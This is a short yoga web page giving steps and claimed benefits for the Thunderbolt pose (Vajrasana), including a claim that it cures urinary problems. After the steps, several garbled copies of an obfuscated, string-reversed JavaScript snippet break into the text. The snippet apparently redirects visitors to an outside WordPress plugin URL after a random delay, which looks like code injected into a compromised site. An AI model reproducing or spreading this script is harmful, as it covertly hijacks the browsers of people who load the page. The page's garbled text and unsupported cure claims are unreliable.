Yoga details

Thunderbolt (Vajrasana)

Muscle System : M

Level of Difficulty :

Timing : Evening

Accessories needed : Yoga mat

Benefits : "Calms the mind Cures urinary problem increases blood circulation"

Overview :

Steps to Perform :

Step-1

Sit on the floor on a major directly on the ground

Step-2

Fold your legs and sit in such a manner that your heel touches your Buttocks

Step-3

Place your hands on your lap

Step-4

Hold the sitting pose for two minutes (to start with)

Step-5

Dont give up.

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Tortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toise posture (Kurmasana)

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